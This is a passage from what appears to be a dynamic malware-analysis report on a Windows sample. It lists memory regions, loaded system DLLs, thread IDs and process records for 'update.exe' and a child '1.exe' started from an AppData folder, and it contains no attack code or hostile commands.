mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 538 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 539 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 540 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 541 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 542 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 543 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 544 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 545 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 546 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 547 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 548 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 549 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 550 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 551 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 552 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 553 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 554 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 555 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 556 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 557 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 558 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 559 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 560 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 561 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 562 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 23 os_tid = 0x694 Thread: id = 24 os_tid = 0x75c Thread: id = 25 os_tid = 0x754 Thread: id = 26 os_tid = 0x734 Thread: id = 27 os_tid = 0x730 Thread: id = 28 os_tid = 0x72c Thread: id = 29 os_tid = 0x728 Thread: id = 30 os_tid = 0x624 Thread: id = 31 os_tid = 0x158 Thread: id = 32 os_tid = 0x154 Thread: id = 33 os_tid = 0x130 Thread: id = 34 os_tid = 0x128 Thread: id = 35 os_tid = 0x12c Thread: id = 36 os_tid = 0xc8 Thread: id = 38 os_tid = 0x990 Thread: id = 61 os_tid = 0xab8 Thread: id = 80 os_tid = 0xb14 Process: id = "6" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe" page_root = "0x20a5c000" os_pid = "0x9b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x904" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1130 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1131 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1132 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1133 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1134 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1135 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1136 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe") Region: id = 1137 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1138 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1139 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1140 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1141 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 1142 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 1143 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 1144 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 1145 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 1174 start_va = 0x1a0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1175 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1176 start_va = 0x5e0000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 1177 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1178 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1179 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1180 start_va = 0xfffd8000 end_va = 0xfffdafff entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 1181 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1182 start_va = 0x30000 end_va = 0x3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1183 start_va = 0x2e0000 end_va = 0x346fff entry_point = 0x2e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1184 start_va = 0x7a0000 end_va = 0x89ffff entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 1185 start_va = 0x75280000 end_va = 0x75284fff entry_point = 0x75280000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 1186 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1187 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1188 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1189 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1190 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1191 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1192 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1193 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1194 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1195 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1196 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1197 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1198 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1199 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1200 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1201 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1202 start_va = 0x8a0000 end_va = 0xa27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 1203 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1204 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Thread: id = 58 os_tid = 0x9b8 Thread: id = 60 os_tid = 0xa78 Process: id = "7" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe" page_root = "0x20e61000" os_pid = "0x9bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x904" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service 2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1111 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1112 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1113 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1114 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1115 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1116 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1117 start_va = 0x1a0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1118 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1119 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe") Region: id = 1120 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1121 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1122 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1123 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1124 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 1125 start_va = 0xfffd8000 end_va = 0xfffdafff entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 1126 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 1127 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 1128 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 1129 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 1146 start_va = 0x350000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1147 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1148 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1149 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1150 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1151 start_va = 0x2e0000 end_va = 0x346fff entry_point = 0x2e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1152 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1153 start_va = 0x510000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 1154 start_va = 0x75290000 end_va = 0x75294fff entry_point = 0x75290000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 1155 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1156 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1157 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1158 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1159 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1160 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1161 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1162 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1163 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1164 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1165 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1166 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1167 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1168 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1169 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1170 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1171 start_va = 0x610000 end_va = 0x797fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 1172 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1173 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Thread: id = 57 os_tid = 0xa70 Thread: id = 59 os_tid = 0x9c0 Process: id = "8" image_name = "1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" page_root = "0x21ab0000" os_pid = "0x9cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x904" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 721 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 722 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 723 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 724 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 725 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 726 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 727 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 728 start_va = 0x3a0000 end_va = 0x3d1fff entry_point = 0x3a0000 region_type = mapped_file name = "1.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe") Region: id = 729 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 730 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 731 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 732 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 733 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 734 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 735 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 736 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 737 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 738 start_va = 0x590000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 739 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 740 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = 